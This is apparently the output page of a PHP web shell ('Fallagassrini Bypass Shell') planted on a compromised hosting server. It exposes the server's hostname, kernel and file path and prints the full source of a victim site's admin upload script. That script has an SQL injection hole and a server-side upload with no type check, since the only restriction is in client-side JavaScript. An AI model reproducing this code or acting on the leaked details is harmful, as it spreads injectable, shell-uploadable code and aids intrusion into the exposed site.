Fallagassrini Bypass Shell

echo"Fallagassrini ";
Current Path : /home/tarinient/public_html/admin/
Linux venus.ewebguru.net 4.18.0-553.44.1.el8_10.x86_64 #1 SMP Mon Mar 10 05:10:11 EDT 2025 x86_64
Current File : /home/tarinient/public_html/admin/addproduct.php
<?php
session_start();
include('../configuration.php');
include("includes/php_devfunction.php");
check_userlogin();

if($_SERVER['REQUEST_METHOD']=="POST" && $_REQUEST["btnsubmit"]=="Save")
{
	 
	 //======== College photo =======================
	if($_FILES["usrphoto"]["size"]>0 && $_FILES["usrphoto"]["name"] !=" ") 
	{
		//=========== to upload the file =============		
		$photofile_name="";
		$uploaddir="../product_photo/";
		$uploadfrom = $_FILES["usrphoto"]["tmp_name"];
		   
		if (!preg_match("/(.+)\.(.*?)\Z/", $_FILES["usrphoto"]["name"], $matches)){
		  } 
			  $nr = 0;
			  $photofile_name = $matches[1] . '.' . $matches[2];
			  while(file_exists($uploaddir.$photofile_name)){
			  $photofile_name = $matches[1] . '~'. $nr++ .'.' . $matches[2];
		  }		
		$uploaddir = $uploaddir.$photofile_name; 
				
		move_uploaded_file($uploadfrom, $uploaddir);
	}
	else
	{
		$photofile_name=" ";
	}
	
	
	       
	$ins_emp = "insert into tbl_subcategory set
				maincat_id 		= '".$_REQUEST["selcategory"]."',
				product_name 	= '".$_REQUEST["prdname"]."',
				image			= '".$photofile_name."'";
				   
			/*echo "<pre>";
			print_r($ins_emp);   	                 
			die;*/
			
		$ins_result = $db->Execute($ins_emp) or die(mysql_error());
		
	if(ins_result)
	{
		url_redirect("manage_products.php?add=1");
	}
}


?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title><?php echo PROJECT_TITLE;?></title>
	<link rel="stylesheet" type="text/css" href="css/text.css" />
    <link rel="stylesheet" type="text/css" href="css/grid.css"  />
    <link rel="stylesheet" type="text/css" href="css/layout.css"/>
    <link rel="stylesheet" type="text/css" href="css/nav.css"  />
    <link rel="stylesheet" type="text/css" href="css/reset.css" />
    <link href="css/demo_page.css" rel="stylesheet" type="text/css" />
<script language="javascript" src="includes/jquery.js" type="text/javascript"></script>
<script language="javascript" src="includes/classified_ajax.js" type="text/javascript"></script>    
<script src="includes/javascript_function.js" type="text/javascript"></script>
<script language="javascript" type="text/javascript">
//==== Validate form filled by user ================== 
function validateinfo()
{
	     // prdname  
	          
	var selcategory=trim(document.frmcrm.selcategory.value);
	var prdname=trim(document.frmcrm.prdname.value);
	
	var usrphoto=trim(document.frmcrm.usrphoto.value);
	//var bigusrphoto=trim(document.frmcrm.bigusrphoto.value);
	//var username=trim(document.frmcrm.username.value);
	//var newpass=trim(document.frmcrm.newpass.value);
	//var confpass=trim(document.frmcrm.confpass.value);
	
	if(selcategory=="")
	{
		alert('Please select category.');
		document.frmcrm.selcategory.focus();
		return false;
	}
	
	else if(prdname=="")
	{
		alert('Tile  should not be blank .');
		document.frmcrm.prdname.focus();
		return false;
	}
	
	else if(usrphoto=="")
	{
		alert('Please select File .');
		document.frmcrm.usrphoto.focus();
		return false;
	}
	else if(usrphoto!=="")
	{
		var ss;
		ss=1 + usrphoto.lastIndexOf(".");
		var ext =usrphoto.substr(ss);
		ext=ext.toLowerCase();
		if (!(ext == "doc" || ext == "docx"|| ext == "pdf"))
		{		
			alert('You can upload only doc or pdf file.');
			document.frmcrm.usrphoto.value="";
			document.frmcrm.usrphoto.focus();
			return false;
		}
	}
	
	
	
}
</script>
<!-- CAlendar Code here-->
<link type="text/css" href="calen/base/ui.all.css" rel="stylesheet" />
<script type="text/javascript" src="calen/jquery-1.3.2.js"></script>
<script type="text/javascript" src="calen/ui/ui.datepicker.js"></script>
<link type="text/css" href="calen/demos.css" rel="stylesheet" />
<script language="javascript" type="text/javascript">

$(function() {
			 
		$("#datepicker").datepicker({minDate: -30, maxDate: +30});
	});	

$(function() {
			 
		$("#datepicker1").datepicker({minDate: -30, maxDate: +30});
	});	
</script>
          
</head>

<body style="margin:0px; padding:0px;">
<div class="container_12">
        <div class="grid_12 header-repeat">
        <?php include("includes/service_top.php");?>
        </div>
        <div class="clear">
        </div>
        <?php //include("includes/topmenu.php");?>
        <div class="clear">
        </div>
        <div class="grid_2">
        <?php include("includes/leftmenu.php");?>    
        </div>
        <div class="grid_10">
            <div class="box round first">
                <h2>Add New File</h2>
                <div class="block">
                <!-- Table data start-->
<form name="frmcrm" id="frmcrm" action="" method="post" onsubmit="return validateinfo();" enctype="multipart/form-data">
<table width="100%" cellpadding="5" cellspacing="0" border="0" style="border:0px solid #999; border-collapse:collapse; font-size:12px;">
 <tr>
    <td valign="top">
    <fieldset style="border:1px solid #CCC; padding-left:10px;">
    <legend style="background-color:#CCC; color:#333; font-weight:bold; padding:6px;">New File Details</legend>
    <table border="0" width="95%" style="background-image:none; border:none;">
    <tr>
    <td align="right" width="30%"><label><b><span class="requfield">*</span>Select Category : </b></label></td>
    <td width="70%">
    <?php
        $sql_ct = "select * from  tbl_category_main where status='0' order by cat_name";
        $resct = $db->Execute($sql_ct);
        $total_ct  = $resct->RecordCount();
        ?>
        <select name="selcategory" id="selcategory" class="widsel" onchange="fillsubcat(this.value);">
        <option value="">- Select Category -</option>
        <?php 
        if($total_ct>0){
        while (!$resct->EOF) {		
        ?>
        <option value="<?php echo $resct->fields["catid"];?>"><?php echo $resct->fields["cat_name"];?></option>
        <?php
        $resct->MoveNext();
        }
        }?>
        </select>
    </td>
    </tr>
    <tr>
    <td align="right" width="30%"><label><b><span class="requfield">*</span>Title : </b></label></td>
    <td width="70%"><input type="text"  name="prdname" id="prdname"  value="" class="widtxt" /></td>
    </tr>   
    <tr>
    <td align="right"><label><b><span class="requfield">*</span>Upload Files  : </b></label></td>
    <td><input type="file" name="usrphoto" id="usrphoto" class="mini" onkeypress="return false"  /></td>
    </tr>
    <tr>
    <td align="right">&nbsp;</td>
    <td>
    <input class="submit-green" name="btnsubmit" id="btnsubmit" type="submit" value="Save" />
    </td>
    </tr>  
    </table>
    </fieldset>
    </td>
  </tr>
</table>
</form>	               
                <!-- Table data end-->
                </div>
            </div>
            
        </div>
        
        
        <div class="clear">
        </div>
    </div>
    <div class="clear">
    </div>
    <?php include("includes/footer.php");?>
</body>
</html>
bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net